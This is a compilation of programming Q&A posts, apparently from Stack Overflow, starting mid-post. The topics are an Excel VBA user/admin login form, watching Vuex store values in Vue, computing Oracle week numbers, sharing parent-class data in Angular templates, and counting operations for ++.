    Sheets("Quick Add").Visible = xlVeryHidden
    Sheets("Overview").Visible = xlVeryHidden
    Sheets("Admin").Visible = xlVeryHidden
    Sheets("Users").Visible = xlVeryHidden
    MsgBox "Invalid Username"
  End If
End Sub

This works for the first entry in the "Users_Table", but it won't recognise the Username for the others (and so I don't know if it's recognising the Passwords for users as it's failing on the initial Username check). Any ideas what might be going wrong? I'm also not sure how I'd go about adding in the Admin requirement mentioned above. I need Admins ("True" in "Admin" column, i.e. Column D, in the "Users_Table") to be able to see all sheets; the code above is just for Users and shows "Quick Add" and "Overview" and hides "Admin" and "Users" sheets.

Any help would be much appreciated. Thank you!

Body:
You have made it very complicated. Keep it simple. Try this (untested)

Private Sub LoginButton_Click()
    Dim Username As String
    Dim password As String
    Dim passWs As Worksheet
    Dim rng As Range
    Dim CorrectDetails As Boolean

    Username = UsernameTextbox.Text
    password = PasswordTextbox.Text

    If Len(Trim(Username)) = 0 Then
        UsernameTextbox.SetFocus
        MsgBox "Please enter the username", vbOKOnly, "Required Data"
        Exit Sub
    End If

    If Len(Trim(password)) = 0 Then
        PasswordTextbox.SetFocus
        MsgBox "Please enter the password", vbOKOnly, "Incomplete Entry"
        Exit Sub
    End If

    Set passWs = ThisWorkbook.Worksheets("Users")

    With passWs
        lrow = .Range("A" & .Rows.Count).End(xlUp).Row

        For i = 1 To lrow
            If UCase(Trim(.Range("B" & i).Value)) = UCase(Trim(Username)) Then '<~~ Username Check
                If .Range("C" & i).Value = password Then '<~~ Password Check
                    CorrectDetails = True

                    '~~> Admin is True
                    If .Range("D" & i).Value = "True" Then
                        '
                        '~~> Do what you want
                        '
                    Else
                        '
                        '~~> Do what you want
                        '
                    End If

                    Exit For
                End If
            End If
        Next i

        '~~> Incorrect Username/Password
        If CorrectDetails = False Then
            MsgBox "Invalid Username/Password"
        End If
    End With
End Sub

My Assumptions

In sheet "Users", Col B has username, Col C has password and Col D has Admin values.. If not then please amend the above code as required.


问:
How to watch store values from vuex?
I am using vuex and vuejs 2 together.

I am new to vuex, I want to watch a store variable change.

I want to add the watch function in my vue component

This is what I have so far:

```<code>import Vue from 'vue';
import {
  MY_STATE,
} from './../../mutation-types';

export default {
  [MY_STATE](state, token) {
    state.my_state = token;
  },
};
</code>```

I want to know if there are any changes in the my_state

How do I watch store.my_state in my vuejs component?

答:
Let's say, for example, that you have a basket of fruits,
and each time you add or remove a fruit from the basket, you
want to (1) display info about fruit count, but you also (2) want to be notified of the count of the fruits in some fancy fashion...

fruit-count-component.vue

<template>

Fruits: {{ count }}

</template>

```
<p>Please note, that the name of the function in the <code>watch</code> object, must match the name of the function in the <code>computed</code> object. In the example above the name is <code>count</code>.</p>
<p>New and old values of a watched property will be passed into watch callback (the count function) as parameters.</p>
<p>The basket store could look like this:</p>
<p><em>fruit-basket.js</em></p>
<pre class="lang-js prettyprint-override"><code>import Vue from 'vue'
import Vuex from 'vuex'

Vue.use(Vuex)

const basket = new Vuex.Store({
  state: {
    fruits: []
  },
  getters: {
    fruitsCount (state) {
      return state.fruits.length
    }
  }
  // Obviously you would need some mutations and actions,
  // but to make example cleaner I'll skip this part.
})

export default basket
</code>```

You can read more in the following resources:

Computed properties and watchers

API docs: computed

API docs: watch

ContentLicense: CC BY-SA 4.0

Title: How to watch store values from vuex?

Body:
I am using vuex and vuejs 2 together.

I am new to vuex, I want to watch a store variable change.

I want to add the watch function in my vue component

This is what I have so far:

import Vue from 'vue';
import {
  MY_STATE,
} from './../../mutation-types';

export default {
  [MY_STATE](state, token) {
    state.my_state = token;
  },
};

I want to know if there are any changes in the my_state

How do I watch store.my_state in my vuejs component?

Body:
Let's say, for example, that you have a basket of fruits,
and each time you add or remove a fruit from the basket, you
want to (1) display info about fruit count, but you also (2) want to be notified of the count of the fruits in some fancy fashion...

fruit-count-component.vue

<template>
  <!-- We meet our first objective (1) by simply -->
  <!-- binding to the count property. -->
  <p>Fruits: {{ count }}</p>
</template>

<script>
import basket from '../resources/fruit-basket'

export default () {
  computed: {
    count () {
      return basket.state.fruits.length
      // Or return basket.getters.fruitsCount
      // (depends on your design decisions).
    }
  },
  watch: {
    count (newCount, oldCount) {
      // Our fancy notification (2).
      console.log(`We have ${newCount} fruits now, yay!`)
    }
  }
}
</script>

Please note, that the name of the function in the watch object, must match the name of the function in the computed object. In the example above the name is count.

New and old values of a watched property will be passed into watch callback (the count function) as parameters.

The basket store could look like this:

fruit-basket.js

import Vue from 'vue'
import Vuex from 'vuex'

Vue.use(Vuex)

const basket = new Vuex.Store({
  state: {
    fruits: []
  },
  getters: {
    fruitsCount (state) {
      return state.fruits.length
    }
  }
  // Obviously you would need some mutations and actions,
  // but to make example cleaner I'll skip this part.
})

export default basket

You can read more in the following resources:

Computed properties and watchers

API docs: computed

API docs: watch


问:
SQL ORACLE Get week numbers from multiple datetime rows
I have 70.000 rows of data, including a date time column (YYYY-MM-DD HH24-MM-SS.).
I want to split this data into 3 separate columns; Hour, day and Week number.

The date time column name is 'REGISTRATIONDATE' from the table 'CONTRACTS'.

This is what I have so far for the day and hour columns:

```<code>SELECT substr(REGISTRATIONDATE, 0, 10) AS "Date",
substr(REGISTRATIONDATE, 11, 9) AS "Hour"
FROM CONTRACTS;
</code>```

I have seen the options to get a week number for specific dates, this assignment concerns 70.000 dates so this is not an option.

答:
This is messy, but it looks like it works:

```<code>to_char(
        to_date(RegistrationDate,'YYYY-MM-DD HH24-MI-SS') +
        to_number(to_char(trunc(to_date(RegistrationDate,'YYYY-MM-DD HH24-MI-SS'),'YEAR'),'D'))
        - 2,
        'WW')
</code>```

On the outside you have the solution previous given by others but using the correct date format. In the middle there is an adjustment of a certain number of days to adjust for where the 1st Jan falls. The trunc part gets the first of Jan from the date, the 'D' gets the weekday of 1st Jan. Since 1 represents Sunday, we have to use -2 to get what we need.

EDIT: I may delete this answer later, but it looks to me that the one from @mathguy is the best. See also the comments on that answer for how to extend to a general solution.

But first you need to:

Decide what to do dates in Jan before the first Monday, and

Resolve the underlying problems in the date which prevent it being converted to dates.

On point 1, if assigning week 0 is not acceptable (you want week 52/53) it gets a bit more complicated, but we'll still be able to help.

As I see it, on point 2, either there is something systematically wrong (perhaps they are timestamps and include fractions of a second) or there are isolated cases of invalid data.

Either the length, or the format, or the specific values don't compute. The error message you got suggests that at least some of the data is "too long", and the code in my comment should help you locate that.

Body:
I have 70.000 rows of data, including a date time column (YYYY-MM-DD HH24-MM-SS.).
I want to split this data into 3 separate columns; Hour, day and Week number.

The date time column name is 'REGISTRATIONDATE' from the table 'CONTRACTS'.

This is what I have so far for the day and hour columns:

SELECT substr(REGISTRATIONDATE, 0, 10) AS "Date",
substr(REGISTRATIONDATE, 11, 9) AS "Hour"
FROM CONTRACTS;

I have seen the options to get a week number for specific dates, this assignment concerns 70.000 dates so this is not an option.

Body:
This is messy, but it looks like it works:

to_char(
        to_date(RegistrationDate,'YYYY-MM-DD HH24-MI-SS') +
        to_number(to_char(trunc(to_date(RegistrationDate,'YYYY-MM-DD HH24-MI-SS'),'YEAR'),'D'))
        - 2,
        'WW')

On the outside you have the solution previous given by others but using the correct date format. In the middle there is an adjustment of a certain number of days to adjust for where the 1st Jan falls. The trunc part gets the first of Jan from the date, the 'D' gets the weekday of 1st Jan. Since 1 represents Sunday, we have to use -2 to get what we need.

EDIT: I may delete this answer later, but it looks to me that the one from @mathguy is the best. See also the comments on that answer for how to extend to a general solution.

But first you need to:

Decide what to do dates in Jan before the first Monday, and

Resolve the underlying problems in the date which prevent it being converted to dates.

On point 1, if assigning week 0 is not acceptable (you want week 52/53) it gets a bit more complicated, but we'll still be able to help.

As I see it, on point 2, either there is something systematically wrong (perhaps they are timestamps and include fractions of a second) or there are isolated cases of invalid data.

Either the length, or the format, or the specific values don't compute. The error message you got suggests that at least some of the data is "too long", and the code in my comment should help you locate that.


问:
Access parent variable from child component template
I have two classes, Secure and Client. My Secure class is a parent of Client.

The idea is that when a class extends Secure, the constructor checks authentication and redirects to a login page if the user is not authenticated. The class looks like this:

```<code>export class Secure {

    protected user: User;

    constructor(public router: Router, public userHandler: UserHandler) {
        userHandler.checkAuthentication(this);
    }

    isLoggedIn(message: string, isLoggedIn: boolean) {
        if(!isLoggedIn){
            this.router.navigate(['/']);
        }
    }

    getUser(): User{
        return this.user;
    }
}
</code>```

And my child-class looks like this:

```<code>export class ClientsComponent extends Secure{

  client: Client = new Client();

  clients: Array<Client>;

  constructor(public router: Router, public userHandler: UserHandler, public clientService: ClientService) {
      super(router, userHandler);

  }

  ngOnInit() {
    this.clientService.getAllUsers(this);
  }

  doRegister(){
      this.clientService.createNewClient(this.client.email, this);
  }

  callbackRegisterComplete(){
    this.clientService.getAllUsers(this);
  }

  callbackWithClients(clients:Array<Client>){
    this.clients = clients;
  }

}
</code>```

In my Clients template I would like to check if the user in my Secureclass got a certain role:

```<code><tr *ngFor="let client of clients; let i = index">
    <th scope="row">{{i+1}}</th>
    <td>{{client.email}}</td>
    <td>{{client.userStatus}}</td>
    <td *ngIf="user.isAdmin">...</td>
</tr>
</code>```

But this produces the following error: Cannot read property 'isAdmin' of undefined

So my question is: Is there any way to access a variable in a parent class from the child class template? If not, is there any good ways to work around this?

答:
Instead of extending, simply use @Input() to pass data from a parent component to a child component:

parent template:

```<code><child [someData]="data"></child>
</code>```

This is the most efficient way to share data across components.

Now in child you can grab the data via this.someData or someData if you want it from the template.

Body:
I have two classes, Secure and Client. My Secure class is a parent of Client.

The idea is that when a class extends Secure, the constructor checks authentication and redirects to a login page if the user is not authenticated. The class looks like this:

export class Secure {

    protected user: User;

    constructor(public router: Router, public userHandler: UserHandler) {
        userHandler.checkAuthentication(this);
    }

    isLoggedIn(message: string, isLoggedIn: boolean) {
        if(!isLoggedIn){
            this.router.navigate(['/']);
        }
    }

    getUser(): User{
        return this.user;
    }
}

And my child-class looks like this:

export class ClientsComponent extends Secure{

  client: Client = new Client();

  clients: Array<Client>;

  constructor(public router: Router, public userHandler: UserHandler, public clientService: ClientService) {
      super(router, userHandler);

  }

  ngOnInit() {
    this.clientService.getAllUsers(this);
  }

  doRegister(){
      this.clientService.createNewClient(this.client.email, this);
  }

  callbackRegisterComplete(){
    this.clientService.getAllUsers(this);
  }

  callbackWithClients(clients:Array<Client>){
    this.clients = clients;
  }

}

In my Clients template I would like to check if the user in my Secureclass got a certain role:

    {{i+1}}
    {{client.email}}
    {{client.userStatus}}
    ...

But this produces the following error: Cannot read property 'isAdmin' of undefined

So my question is: Is there any way to access a variable in a parent class from the child class template? If not, is there any good ways to work around this?

Body:
Instead of extending, simply use @Input() to pass data from a parent component to a child component:

parent template:

<child [someData]="data"></child>

This is the most efficient way to share data across components.

Now in child you can grab the data via this.someData or someData if you want it from the template.


问:
In Complexity Analysis why is ++ considered to be 2 operations?
In my Computer Science II class, the professor considers ++,--,*=, etc. to be 2 operations. However, at the Assembly level this is not really two operations. Can someone explain or is this just for the sake of simplicity?</p>

答:
At the assembly level everything is done in registers so having a variable in A

```<code>ADD AX,1
</code>```

However, in compiled languages everything has to be stored so i++ becomes (in pseudo assembly)

```<code>MOV AX,i
ADD AX, 1
MOV i, AX
</code>```

Which is three operations...Unless I have forgotten my basic architecture completely...

Body:
At the assembly level everything is done in registers so having a variable in A

ADD AX,1

However, in compiled languages everything has to be stored so i++ becomes (in pseudo assembly)

MOV AX,i
ADD AX, 1
MOV i, AX

Which is three operations...Unless I have forgotten my basic architecture completely...

OwnerDisplayName: Jamie